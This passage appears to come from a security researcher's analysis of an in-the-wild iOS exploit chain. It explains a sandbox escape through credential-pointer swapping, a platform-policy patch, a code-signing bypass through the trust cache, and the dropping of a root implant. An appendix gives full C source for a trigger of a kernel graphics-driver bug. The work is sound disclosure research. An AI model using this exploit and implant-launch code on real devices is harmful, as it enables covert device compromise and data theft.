      if (our_struct_proc && launchd_ucred) {
        break;
      }

      proc = *(uint64_t*)(struct_proc+0x0);
      if (!proc) {
        break;
      }
    } while (proc != allproc && pid);

    // unsandbox themselves
    kwrite64(our_struct_proc + 0x100, launchd_ucred);
  }
}

They're looking for the proc structures for launchd and the current task (which is WebContent, running in the Safari renderer sandbox.) From the proc structure they read the pid as well as the ucred pointer.

As well as containing the POSIX credentials (which define the uid, gid and so on) the ucred also contains a pointer to a MAC label, which is used to define the sandbox which is applied to a process.

Using the kernel memory write they replace the current tasks's ucreds pointer with launchd's.  This has the effect of unsandboxing the current process; giving it the same access to the system as launchd.

There are two more hurdles to overcome before they're able to launch their implant: the platform policy and code-signing.

Platform policy

Every process on iOS restricted by the platform policy sandbox profile; it enforces an extra layer of "system wide" sandboxing. The platform policy bytecode itself lies in the __const region of the com.apple.security.sandbox.kext and is thus protected by KPP or KTRR. However, the pointer to the platform policy bytecode resides in a structure allocated via IOMalloc, and is thus in writable memory. The attackers make a complete copy of the platform policy bytecode and replace the pointer in the heap-allocated structure with a pointer to the copy. In the copy they patch out the process-exec and process-exec-interpreter hooks; here's a diff of the decompiled policies (generated with sandblaster):

    (require-not (global-name "com.apple.PowerManagement.control"))
    (require-not (global-name "com.apple.FileCoordination"))
    (require-not (global-name "com.apple.FSEvents"))))
-   (deny process-exec*
-    (require-all
-     (require-all
       (require-not 
         (subpath "/private/var/run/com.apple.xpcproxy.RoleAccount.staging"))
-      (require-not (literal "/private/var/factory_mount/"))
-      (require-not (subpath "/private/var/containers/Bundle"))
-      (require-not (literal "/private/var/personalized_automation/"))
-      (require-not (literal "/private/var/personalized_factory/"))
-      (require-not (literal "/private/var/personalized_demo/"))
-      (require-not (literal "/private/var/personalized_debug/"))
-      (require-not (literal "/Developer/")))
-     (subpath "/private/var")
-     (require-not (debug-mode))))
-   (deny process-exec-interpreter
-    (require-all
-     (require-not (debug-mode))
-     (require-all (require-not (literal "/bin/sh"))
-      (require-not (literal "/bin/bash"))
-      (require-not (literal "/usr/bin/perl"))
-      (require-not (literal "/usr/local/bin/scripter"))
-      (require-not (literal "/usr/local/bin/luatrace"))
-      (require-not (literal "/usr/sbin/dtrace")))))
    (deny system-kext-query
     (require-not (require-entitlement "com.apple.private.kernel.get-kext-info")))
    (deny system-privilege

As the platform policy changes over time their platform policy bytecode patches become more elaborate but the fundamental idea remains the same.

Code signing bypass

Jailbreaks typically bypass iOS's mandatory code signing by making changes to amfid (Apple Mobile File Integrity Daemon) which is a userspace daemon responsible for verifying code signatures. An example of an early form of such a change was to modify the amfid GOT such that a function which was called to verify a signature (MISValidateSignature) was replaced with a call to a function which always returned 0; thereby allowing all signatures, even those which were invalid.

There's another approach though, which has been used increasingly by recent jailbreaks. The kernel also contains an array of known-trusted hashes. These are hashes of code-signature blobs (also known as CDHashes) which are to be implicitly trusted. This design makes sense because those hashes will be part of the kernel's code signature; thus still tied to Apple's root-of-trust.

The weakness, given an attacker with kernel memory read write, is that this trust cache data-structure is mutable. There are occasions when more hashes will be added to it at runtime. It's modified, for example, when the DeveloperDiskImage.dmg is mounted on an iPhone if you do app development. During app development native tools like lldb-server which run on the device have their code-signature blob hashes added to the trust cache. 

Since the attackers only wish to execute their implant binary and not disable code-signing system wide, it suffices to simply add the hash of their implant's code-signing blob to the kernel dynamic trust cache, which they do using the kernel task port.

Launching implant

The final stage is to drop and spawn the implant binary. They do this by writing the implant Mach-O to disk under /tmp, then calling posix_spawn to execute it:

  FILE* f = fopen("/tmp/updateserver", "w+");
  if (f) {
    fwrite(buf, 1, buf_size, f);
    fclose(f);
    chmod("/tmp/updateserver", 0755);
    pid_t pid = 0;
    char* argv[] = {"/tmp/updateserver", NULL};
    posix_spawn(&pid,
                "/tmp/updateserver",
                NULL,
                NULL,
                &argv,
                environ);
  }

This immediately starts the implant running as root. The implant will remain running until the device is rebooted, communicating every 60 seconds with a command-and-control server asking for instructions for what information to steal from the device. We'll cover the complete functionality of the implant in a later post.

Appendix A

Trigger for variant

By undefining IS_12_B1 you will get the initial trigger.
The create_shmem selector changed from 6 to 5 in iOS 11. The unpatched variant was still present in iOS 12 beta 1 but no longer reproduces in 12.1.1. It does reproduce on at least 11.1.2, 11.3.1 and 11.4.1.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>

#include <mach/mach.h>
#include <CoreFoundation/CoreFoundation.h>

#include "command_buffers.h"

typedef mach_port_t task_port_t;
typedef mach_port_t io_service_t;
typedef mach_port_t io_connect_t;

extern
const mach_port_t kIOMasterPortDefault;

kern_return_t
IOServiceOpen(
              io_service_t    service,
              task_port_t     owningTask,
              uint32_t        type,
              io_connect_t  * connect );

CFMutableDictionaryRef
IOServiceMatching(
                  const char *    name ) CF_RETURNS_RETAINED;

io_service_t
IOServiceGetMatchingService(
                            mach_port_t     masterPort,
                            CFDictionaryRef matching CF_RELEASES_ARGUMENT);

kern_return_t
IOConnectCallMethod(
                    mach_port_t      connection,       // In
                    uint32_t         selector,       // In
                    const uint64_t  *input,         // In
                    uint32_t         inputCnt,       // In
                    const void      *inputStruct,         // In
                    size_t           inputStructCnt,       // In
                    uint64_t        *output,         // Out
                    uint32_t        *outputCnt,         // In/Out
                    void            *outputStruct,         // Out
                    size_t          *outputStructCnt);      // In/Out

kern_return_t
IOConnectCallAsyncMethod(
                         mach_port_t      connection,       // In
                         uint32_t         selector,       // In
                         mach_port_t      wake_port,       // In
                         uint64_t        *reference,         // In
                         uint32_t         referenceCnt,       // In
                         const uint64_t  *input,         // In
                         uint32_t         inputCnt,       // In
                         const void      *inputStruct,         // In
                         size_t           inputStructCnt,       // In
                         uint64_t        *output,         // Out
                         uint32_t        *outputCnt,         // In/Out
                         void            *outputStruct,         // Out
                         size_t          *outputStructCnt);      // In/Out

typedef struct IONotificationPort * IONotificationPortRef;

IONotificationPortRef
IONotificationPortCreate(
                         mach_port_t             masterPort );

mach_port_t
IONotificationPortGetMachPort(
                              IONotificationPortRef   notify );

kern_return_t
IOConnectAddClient(
                   io_connect_t    connect,
                   io_connect_t    client );



#define IS_12_B1 1

#ifdef IS_12_B1
#define AGX_SHARED_CREATE_SHMEM 5
#else
#define AGX_SHARED_CREATE_SHMEM 6
#endif
struct agx_shared_create_shmem_struct_out {
  void* base;
  uint32_t size;
  uint32_t id;
};

struct submit_command_buffers_struct_input {
  uint32_t field_0;
  uint32_t field_1;
  uint32_t resource_id_0;
  uint32_t resource_id_1;
  uint64_t field_4;
  uint64_t field_5;
};

struct async_reference {
  mach_port_t port;
  void(*fptr)(void);
  uint64_t something;
};

void null_sub(void) {return;};

void* IOSurfaceCreate(void*);
uint32_t IOSurfaceGetID(void*);

uint32_t allocate_global_iosurface_and_return_id() {
  CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
  int alloc_size_raw_value = 1024;
  CFNumberRef alloc_size_cfnum = CFNumberCreate(NULL, kCFNumberSInt32Type, &alloc_size_raw_value);
  
  CFDictionarySetValue(dict, CFSTR("IOSurfaceAllocSize"), alloc_size_cfnum);
  CFDictionarySetValue(dict, CFSTR("IOSurfaceIsGlobal"), kCFBooleanTrue);
  
  int pixel_format_raw_value = 0;
  CFNumberRef pixel_format_cfnum = CFNumberCreate(NULL, kCFNumberSInt32Type, &pixel_format_raw_value);
  CFDictionarySetValue(dict, CFSTR("IOSurfacePixelFormat"), pixel_format_cfnum);
  
  void* iosurface = IOSurfaceCreate(dict);
  if (iosurface == NULL) {
    printf("failed to create IOSurface\n");
    return 0;
  }
  printf("allocated IOSurface: %p\n", iosurface);
  
  uint32_t id = IOSurfaceGetID(iosurface);
  printf("id: 0x%x\n", id);
  return id;
}

void* racer_thread(void* arg) {
  volatile uint32_t* ptr = arg;
  uint32_t orig = *ptr;
  printf("racing, original value: %d\n", orig);
  while (1) {
    *ptr = 0x40;
    *ptr = orig;
  }
  return NULL;
}

void do_it(void) {
  kern_return_t err;
    
  io_service_t agx_service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOGraphicsAccelerator2"));
  if (agx_service == MACH_PORT_NULL) {
    printf("failed to get service port\n");
    return;
  }
  printf("got service: %x\n", agx_service);
  
  io_connect_t shared_user_client_conn = MACH_PORT_NULL;
  
  err = IOServiceOpen(agx_service, mach_task_self(), 2, &shared_user_client_conn);
  if (err != KERN_SUCCESS) {
    printf("open of type 2 failed\n");
    return;
  }
  printf("got connection: 0x%x\n", shared_user_client_conn);
  
  // allocate two shmem's:
  uint64_t shmem_size = 0x1000;
  struct agx_shared_create_shmem_struct_out shmem0_desc = {0};
  size_t shmem_result_size = sizeof(shmem0_desc);
  err = IOConnectCallMethod(shared_user_client_conn, AGX_SHARED_CREATE_SHMEM, &shmem_size, 1, NULL, 0, NULL, NULL, &shmem0_desc, &shmem_result_size);
  if (err != KERN_SUCCESS) {
    printf("external method create_shmem failed: 0x%x\n", err);
    return;
  }
  printf("create shmem success!\n");
  printf("base: %p size: 0x%x id: 0x%x\n", shmem0_desc.base, shmem0_desc.size, shmem0_desc.id);
  
  memset(shmem0_desc.base, 0, shmem0_desc.size);
  
  shmem_size = 0x1000;
  struct agx_shared_create_shmem_struct_out shmem1_desc = {0};
  err = IOConnectCallMethod(shared_user_client_conn, AGX_SHARED_CREATE_SHMEM, &shmem_size, 1, NULL, 0, NULL, NULL, &shmem1_desc, &shmem_result_size);
  if (err != KERN_SUCCESS) {
    printf("external method create_shmem failed: 0x%x\n", err);
    return;
  }
  printf("create shmem success!\n");
  printf("base: %p size: 0x%x id: 0x%x\n", shmem1_desc.base, shmem1_desc.size, shmem1_desc.id);
  
  IONotificationPortRef notification_port_ref = IONotificationPortCreate(kIOMasterPortDefault);
  mach_port_t notification_port_mach_port = IONotificationPortGetMachPort(notification_port_ref);
  
  io_connect_t agx_command_queue_userclient = MACH_PORT_NULL;
  err = IOServiceOpen(agx_service, mach_task_self(), 5, &agx_command_queue_userclient);
  if (err != KERN_SUCCESS) {
    printf("failed to open type 5\n");
    return;
  }
  printf("got agx command queue user client: 0x%x\n", agx_command_queue_userclient);
  
  err = IOConnectAddClient(agx_command_queue_userclient, shared_user_client_conn);
  if (err != KERN_SUCCESS) {
    printf("failed to connect command queue and shared user client: 0x%x\n", err);
    return;
  }
  printf("connected command queue\n");
  
  struct async_reference async_ref = {0};
  async_ref.port = notification_port_mach_port;
  async_ref.fptr = null_sub;
  
  
  err = IOConnectCallAsyncMethod(agx_command_queue_userclient, 0, notification_port_mach_port, (uint64_t*)&async_ref, 1, NULL, 0, NULL, 0, NULL, NULL, NULL, NULL);
  if (err != KERN_SUCCESS) {
    printf("failed to call async selector 0\n");
    return ;
  }
  
  printf("called async selector 0\n");

  for (int loop = 0; loop < 20; loop++) {
    uint32_t global_surface_id = allocate_global_iosurface_and_return_id();
    
    // create a resource with that:
    uint8_t* input_buf = calloc(1, 1024);
    *((uint32_t*)(input_buf+0)) = 0x82;
    *((uint32_t*)(input_buf+0x18)) = 1;
    *((uint32_t*)(input_buf+0x30)) = global_surface_id;

    
    uint8_t* output_buf = calloc(1, 1024);
    
    size_t output_buffer_size = 1024;
    
    err = IOConnectCallMethod(shared_user_client_conn, 0, NULL, 0, input_buf, 1024, NULL, 0, output_buf, &output_buffer_size);
    if (err != KERN_SUCCESS) {
      printf("new_resource failed: 0x%x\n", err);
      return;
    }
    printf("new_resource success!\n");
    
    // try to build the command buffer structure:
#ifdef IS_12_B1
    int target_size = 0x200;
#else
    int target_size = 0x800;
#endif
    int n_entries = target_size / 0x30;
    
    uint8_t* cmd_buf = (uint8_t*)shmem1_desc.base;
    
    *((uint32_t*)(cmd_buf+0x8)) = 1;
    *((uint32_t*)(cmd_buf+0x24)) = n_entries; // n_entries??
    
#ifdef IS_12_B1
    if (loop == 0) {
      pthread_t th;
      pthread_create(&th, NULL, racer_thread, (cmd_buf+0x24));
      usleep(50*1024);
    }
#endif

    
    int something = (target_size+8) % 0x30 / 8;

#ifdef IS_12_B1
    for (int i = 0; i < n_entries+20; i++) {
#else
    for (int i = 0; i < n_entries; i++) {
#endif
      uint8_t* base = cmd_buf + 0x28 + (i*0x40);
      for (int j = 0; j < 7; j++) {
        *((uint32_t*)(base+(j*4))) = 3; // resource_id?
        *((uint16_t*)(base+(0x30)+(j*2))) = 1;
      }
      if (i > something) {
        *((uint16_t*)(base+0x3e)) = 6;
      } else {
#ifdef IS_12_B1
        // this is not the overflow we're targeting here
        *((uint16_t*)(base+0x3e)) = 6;
#else
        *((uint16_t*)(base+0x3e)) = 7;
#endif
      }
    }
    
    struct submit_command_buffers_struct_input cmd_in = {0};
    cmd_in.field_1 = 1;
    cmd_in.resource_id_0 = shmem0_desc.id; // 1
    cmd_in.resource_id_1 = shmem1_desc.id; // 2
    
    // s_submit_command_buffers:
    err = IOConnectCallMethod(agx_command_queue_userclient, 1, NULL, 0, &cmd_in, sizeof(cmd_in), NULL, NULL, NULL, NULL);
    
    printf("s_submit_command_buffers returned: %x\n", err);

    // delete_resource:
    uint64_t three = 3;
    err = IOConnectCallMethod(shared_user_client_conn, 1, &three, 1, NULL, 0, NULL, NULL, NULL, NULL);
    printf("delete_resource returned: %x\n", err);
    
    //
  }
}

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